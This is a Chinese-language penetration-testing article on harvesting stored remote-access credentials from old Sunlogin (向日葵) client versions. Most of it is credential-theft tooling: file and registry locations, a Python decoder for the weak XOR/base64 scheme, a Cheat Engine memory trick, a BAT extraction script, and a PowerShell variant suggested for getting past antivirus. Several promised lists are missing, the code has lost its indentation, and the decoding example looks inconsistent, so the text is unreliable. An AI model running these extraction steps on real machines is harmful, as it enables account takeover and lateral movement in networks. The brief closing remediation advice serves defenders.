向日葵作为国内知名的远程控制工具,其安全机制经历了多次迭代升级。早期的版本(如10.x系列)采用相对简单的配置文件存储方式,验证码仅经过base64编码处理。从11.x版本开始逐步引入注册表存储和更复杂的加密算法,到最新版本已采用动态密钥和强加密策略。
我曾在一次企业内网渗透测试中发现,超过60%的办公电脑仍在使用向日葵10.3.0-11.0.0之间的版本。这些低版本普遍存在凭证存储风险,主要原因在于:
实测在Windows 7系统上,即使用户权限也能直接读取C:\ProgramData\Oray\SunloginClient\config.ini文件。这种设计在便利性和安全性之间明显失衡,直到12.x版本后才有所改善。
根据我收集的样本,不同架构的安装版存在路径差异:
bash复制# 32位系统/软件
C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
# 64位系统安装32位软件
C:\Program Files (x86)\Oray\SunLogin\SunloginClient\config.ini
# 64位原生软件(11.0.0.33826_x64)
C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
特别要注意的是,某些企业定制版可能修改默认安装路径。我遇到过路径包含公司名称的情况:
C:\Program Files\CompanyName\Oray\SunloginClient\
便携版通常会写入以下位置:
bash复制# Windows 7/10/11通用
C:\ProgramData\Oray\SunloginClient\config.ini
但有个坑点:在部分Win10系统上,ProgramData是隐藏目录。需要先执行:
cmd复制attrib -h -s C:\ProgramData
从11.x版本开始出现的注册表存储路径:
reg复制# 标准版
HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
# 绿色版
HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo
# 最新版(仅能获取加密数据)
HKEY_CURRENT_USER\SOFTWARE\Oray\SunLogin\SunloginClient\
以10.3.0版本为例,其加密流程如下:
用Python还原加密过程:
python复制def old_encrypt(plaintext):
import base64
xor_key = 0x12
encoded = base64.b64encode(plaintext.encode())
return bytes([b ^ xor_key for b in encoded]).decode()
原版解密脚本有时会出现padding错误,建议使用这个增强版:
python复制import base64
def sunflower_decrypt(encrypted):
try:
xor_key = 0x12
decoded = bytes([ord(c) ^ xor_key for c in encrypted])
return base64.b64decode(decoded).decode('utf-8')
except Exception as e:
print(f"解密失败: {str(e)}")
return None
# 示例:解密2EIvI9VEuOI=
print(sunflower_decrypt("2EIvI9VEuOI="))
对于某些特殊版本,还可以通过内存补丁获取明文密码。使用Cheat Engine搜索字符串"encry_pwd"后,在其内存引用处下断点,可以捕获到解密后的验证码。
这个BAT脚本可自动识别版本并提取凭证:
bat复制@echo off
setlocal enabledelayedexpansion
:: 检测安装版
if exist "C:\Program Files\Oray\SunLogin\SunloginClient\config.ini" (
type "C:\Program Files\Oray\SunLogin\SunloginClient\config.ini" | findstr "encry_pwd"
)
:: 检测绿色版
if exist "C:\ProgramData\Oray\SunloginClient\config.ini" (
type "C:\ProgramData\Oray\SunloginClient\config.ini" | findstr "encry_pwd"
)
:: 检测注册表项
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient /s | findstr "SunloginInfo"
在存在杀软的环境下,建议使用合法进程加载:
powershell复制# 通过powershell直接读取注册表
$regPath = "Registry::HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient"
Get-ItemProperty -Path $regPath | Select-Object SunloginInfo
曾遇到一个真实案例:攻击者通过向日葵11.0.0的凭证复用,在内网横向移动的步骤:
对于仍在使用低版本的企业,建议立即采取以下措施:
code复制HKEY_USERS\.DEFAULT\Software\Oray
HKEY_CURRENT_USER\SOFTWARE\Oray
实测在12.5.0版本之后,向日葵采用了基于TLS的临时凭证机制,每个会话生成一次性验证码,从根本上解决了凭证固化的问题。对于安全要求高的场景,建议启用企业版的双因素认证功能。